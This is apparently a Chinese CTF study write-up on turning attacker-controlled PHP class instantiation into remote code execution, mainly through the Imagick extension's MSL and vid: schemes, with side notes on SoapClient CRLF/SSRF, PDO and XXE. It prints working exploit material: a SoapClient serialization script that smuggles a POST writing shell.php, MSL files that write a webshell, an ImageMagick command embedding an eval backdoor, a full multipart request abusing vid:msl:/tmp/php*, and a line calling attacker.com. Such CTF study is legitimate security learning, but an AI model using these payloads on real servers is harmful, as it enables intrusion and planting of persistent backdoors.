php-imagick拓展相关打法

前言

magick拓展的打法,建议看看

特征

  • 存在此拓展之时,往往会留一个phpinfo等待查看
  • 存在如下代码
1
2
3
4
5
6
7
8
9
<?php
$class = $_REQUEST['class'];
$arg = $_REQUEST['arg'];

new $class($arg);
?>
or
$a = new ReflectionClass($_GET['cloversec']);
$b = $a->newInstanceArgs($_GET['ctf']);

当然,如果题目给了这个我们能做些什么呢?
这自然涉及到了built-in PHP classes
所有的内置类可以通过此代码查询

1
var_dump(get_declared_classes());

这里再介绍一个绝招,可看这个地方https://www.php.net/manual/en/book.reflection.php
这里的Reflection类,当我们可以控制new时,且后续存在一些可控的手段,会有不少的方法去实现RCE,就像如下所说

1
2
If you control multiple constructor parameters and can call arbitrary methods afterwards, there are many ways to get a Remote Code Execution. 
But if you can pass only one parameter and don’t have any calls to the created object, there is almost nothing.

所以在这里,接着这个拓展的引子,我们稍微学一下该情况下的打法
当然,此前我们会利用到的一些内置类如下
https://www.extrader.top/posts/35c0085d/#%E5%8F%AF%E8%AF%BB%E5%8F%96%E6%96%87%E4%BB%B6%E7%B1%BB

除了关注一些读文件,列目录的原生类,也可以看一下比如xss的,删除文件的相关原生类打法

SoapClient

扩展

还记得

1
new SplFileObject('http://attacker.com/');

对于这个类我们了解,它不止是简单发包,更是可以控制整个请求包,假如内网有Redis服务且泄露密钥,可以执行RCE写马,不过记忆里,好像必须执行一个不存在的方法来着?
这里有一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
@$a=$_POST[1];
@eval($a);
}
<?php
$target= 'http://127.0.0.1/demo.php';
$post_string= '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers= array(
'X-Forwarded-For:127.0.0.1',
'Cookie:admin=1'
);
$b= new SoapClient(null,array('location'=> $target,'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"xxx"));
//因为User-agent是可以控制的,因此可以利用crlf注入http头部发送post请求
$aaa= serialize($b);
$aaa= str_replace('^^','%0d%0a',$aaa);
$aaa= str_replace('&','%26',$aaa);
echo $aaa;

$x= unserialize(urldecode($aaa));//调用__call方法触发网络请求发送
$x->no_func();

我们简单测试一下构造函数

是可行的,但应该无法实现上述crlf攻击,只是简单一个get请求

这种情况下,还可以有一种打法,就是触发phar而进行反序列化 SSRFs in PHP < 8.0 could be turned into deserializations via techniques with the Phar protocol.

POD

扩展

https://www.runoob.com/php/php-pdo.html
PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。
PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。
PDO随PHP5.1发行,在PHP5.0的PECL扩展中也可以使用,无法运行于之前的PHP版本。
这里

1
new PDO("sqlite:/tmp/test.txt")

PDO构建器接受DSN字符串,允许我们通过安装的数据库扩展连接到任何本地或远程数据库。例如,SQLite 扩展可以创建空文件。

SoapClient/SimpleXMLElement XXE

In PHP ≤ 5.3.22 and ≤ 5.4.12, the constructor of SoapClient was vulnerable to XXE. The constructor of SimpleXMLElement was vulnerable to XXE as well, but it required libxml2 < 2.9.

学习

务必牢记,此心法首要为imagick拓展,然后续变化万千

这里也提一句,用Imagick去读文件可以绕过 open_basedir ,因为它的底层实现并不在php

核心

最简单的类同SoapClient,我们可以ssrf

但是自然不会止步于此,我们可以看看其他东西 if you could pass values such as “epsi:/local/path” or “msl:/local/path” to ImageMagick, it would use their scheme part, e.g., epsi or msl, to determine the file format.

MSL Format

简洁

1
2
3
MSL全称是Magick Scripting Language
是ImageMagick自创的一门基于XML的“语言”,旨在用户可以通过XML的方式编写代码,处理图片。
其实就是可以利用一系列约定俗成的标签和属性来对图片进行处理。

利用

1
2
MSL stands for Magick Scripting Language. 
It’s a built-in ImageMagick language that facilitates the reading of images, performance of image processing tasks, and writing of results back to the filesystem.

关键就是一个read一个write, 有两个标签可以用于读取和写入文件,所以这个Trick的核心就是利用这两个标签写入任意文件Webshell。

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="https://placehold.co/100.png"/>
<write filename="shell.php" />
</image>

会把远程的图片转成当前的shell.php
但是ImageMagick在处理图片后,会导致丢失原始图片中的信息,所以使用图片马是无法成功写入Webshell的。

1
2
要解决这个问题也很简单,既然MSL是一门图片处理语言,我们就可以找找是否有方法在图片中增加一些“注释”。
msl有一个<comment>标签可以给生成的图片加注释,所以我们将Webshell编码后放在这个标签里即可
1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="hxxp://placehold.co/100.png"/>
<comment>HTML实体编码后的Webshell</comment>
<write filename="shell.php" />
</image>

但是直接如下也不是不行(maybe)

1
onvert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positive.png

但其实关于作者Imagick’s Path Parsing的内容,我没太看明白,不过不影响我们的rce打法

嗯,现在的关键就是如何上传msl脚本了吧?这里要用到临时文件,这里作者给了几个方法,其中之一就是超级爆破,这个不说了,不过作者的一些前置处理值得学习

VID Scheme

这里可以用这个协议,使得可以利用通配符(这种临时文件的实现也体现在RCE绕过等等方面,比如如下的史诗级payload<?=. /t*/*;

class=Imagick&arg=vid:msl:/tmp/php*

甚至不止于此,若题目不出网,我们可以直接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /?class=Imagick&arg=vid:msl:/tmp/php* HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Length: 332

------WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Disposition: form-data; name="file"; filename="vulhub.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?=phpinfo();?&gt;"/>
<write filename="info:shell.php" />
</image>
------WebKitFormBoundaryTrWYaXKoVR1wiLhP--

不过caption的使用依托于题目具体环境,有时候这个协议可能无法使用

结语

铸剑杯线下的考点,可惜我之前没听说过,感觉这样直接实现RCE?不过当时题目应该预期(或者也确实只能)上传文件,再通过某种方式拿到secret,进行劫持,这个洞vulhub是可以直接复现的